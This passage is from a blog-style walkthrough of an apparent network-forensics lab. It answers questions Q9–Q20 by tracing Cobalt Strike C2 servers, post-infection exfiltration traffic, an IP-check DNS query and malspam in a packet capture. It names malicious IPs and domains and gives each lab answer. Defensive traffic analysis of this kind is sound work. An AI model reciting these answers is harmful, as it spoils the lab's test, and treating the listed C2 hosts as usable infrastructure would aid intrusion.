authority.</p><p><strong>Ans:</strong> GoDaddy</p><h4>Q9</h4><blockquote>What are the two IP addresses of the Cobalt Strike servers? Use VirusTotal (the Community tab) to confirm if IPs are identified as Cobalt Strike C2 servers. (answer format: enter the IP addresses in sequential order)</blockquote><p>So we are looking for IP addresses used as a C2 (Command &amp; Control) servers to give further instructions to the malware.</p><p>I kept looking for suspicious IPs, back to the http filter, and scrolling a little bit down.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JGXuKs3yvh2kFJed7JguFA.png" /><figcaption>185.106.96.158</figcaption></figure><p>I found this IP, the http request was enough to test it, put it in virustotal and move to the community tab and I was right!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*FyC-cYHlgUPPW8yWTHIXkA.png" /></figure><p>The second IP was making a lot of connections, so I give it a try.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jis_oZpDVi-XkoNiyFoR3w.png" /><figcaption>185.125.204.174</figcaption></figure><p>And yes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*dROLzqOnevdxUDxQzkqoVA.png" /></figure><p><strong>Ans:</strong> 185.106.96.158, 185.125.204.174</p><h4>Q10</h4><blockquote>What is the Host header for the first Cobalt Strike IP address from the previous question?</blockquote><p>He wants the host header for 185.106.96.158.</p><p>Just look in the packet details section, in the http tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TefY12UfAB2zHO9KYD5lJQ.png" /><figcaption><a href="http://ocsp.verisign.com">http://ocsp.verisign.com</a></figcaption></figure><p><strong>Ans:</strong> ocsp.verisign.com</p><h4>Q11</h4><blockquote>What is the domain name for the first IP address of the Cobalt Strike server? You may use VirusTotal to confirm if it’s the Cobalt Strike server (check the Community tab).</blockquote><p>Back to virustotal.</p><p>Just check the comments in the community tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*swU12K7oKz2bwG9xSmDpqw.png" /><figcaption>survmeter.live</figcaption></figure><p><strong>Ans:</strong> survmeter.live</p><h4>Q12</h4><blockquote>What is the domain name of the second Cobalt Strike server IP? You may use VirusTotal to confirm if it’s the Cobalt Strike server (check the Community tab).</blockquote><p>Just check the comments in the community tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*KQNLXNmS9fyYqW94F8x8AQ.png" /><figcaption>securitybusinpuff.com</figcaption></figure><p><strong>Ans:</strong> securitybusinpuff.com</p><h4>Q13</h4><blockquote>What is the domain name of the post-infection traffic?</blockquote><p>The post-infection traffic, is the https c2 traffic that occurs after the victim is infected.</p><p>You can look in the packet details section, in the http tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mN694qNqMAIOJCQ8vnkmFA.png" /><figcaption><a href="http://maldivehost.net">http://maldivehost.net</a></figcaption></figure><p>It’s all started from the zip file which contains an excel file.</p><p>Straight after it you can see a lot of http post request methods with this domain, so I can assume that the malware is exfiltrating data from the victims machine to this domain.</p><p><strong>Ans:</strong> maldivehost.net</p><h4>Q14</h4><blockquote>What are the first eleven characters that the victim host sends out to the malicious domain involved in the post-infection traffic?</blockquote><p>Follow TCP stream of the packet in the previous screenshot.</p><p>And take the first eleven characters from these encoded characters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C2ilm9HRufonNv0ootuoAA.png" /></figure><p><strong>Ans:</strong> zLIisQRWZI9</p><h4>Q15</h4><blockquote>What was the length for the first packet sent out to the C2 server?</blockquote><p>You can determine this by looking at the Length field of the first packet to the c2 server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HEMUln6dfXn-WzGvdtBvgQ.png" /></figure><p><strong>Ans:</strong> 281</p><h4>Q16</h4><blockquote>What was the Server header for the malicious domain from the previous question?</blockquote><p>Follow TCP stream for the same packet, and there it is.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_fm6ly8zJ1c_cnJq5YLn-w.png" /></figure><p><strong>Ans:</strong> Apache/2.4.49 (cPanel) OpenSSL/1.1.1l mod_bwlimited/1.4</p><h4>Q17</h4><blockquote>The malware used an API to check for the IP address of the victim’s machine. What was the date and time when the<strong> </strong>DNS<strong> </strong>query for the IP check domain occurred? (<strong>answer format</strong>: yyyy-mm-dd hh:mm:ss UTC)</blockquote><p>Filter for DNS traffic and the source IP address of the victim’s machine, to filters DNS queries only.</p><p>Scroll down, we are looking for something that have an API or IP.</p><p>Here we go, there is a query with the domain <strong>api.ipify.org.</strong></p><p>Look for the time for this packet from the Time field.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ui-7geDvF1ySmrYjpSFNZA.png" /></figure><p><strong>Ans:</strong> 2021–09–24 17:00:04</p><h4>Q18</h4><blockquote>What was the domain in the DNS query from the previous question?</blockquote><p>It was obvious from the previous question.</p><p><strong>Ans:</strong> api.ipify.org</p><h4>Q19</h4><blockquote>Looks like there was some malicious spam (malspam) activity going on. What was the first MAIL FROM address observed in the traffic?</blockquote><p>Filter for smtp traffic and look for the first Mail from address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k9pfm0aasWIQrbWFrQu4qg.png" /><figcaption><a href="mailto:farshin@mailfa.com">farshin@mailfa.com</a></figcaption></figure><p><strong>Ans:</strong> <a href="mailto:farshin@mailfa.com">farshin@mailfa.com</a></p><h4>Q20</h4><blockquote>How many packets were observed for the SMTP<strong> </strong>traffic?</blockquote><p>Only filter for smtp traffic and look for the number of displayed packets down there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pA1jI_e7Lts0HWDtQMFPzQ.png" /></figure><p><strong>Ans:</strong> 1439</p><p>Thank you for reading, I hope you enjoy it.</p><p>You can find me on LinkedIn from here: https://www.linkedin.com/in/0G13</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f503ce6b72f7" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>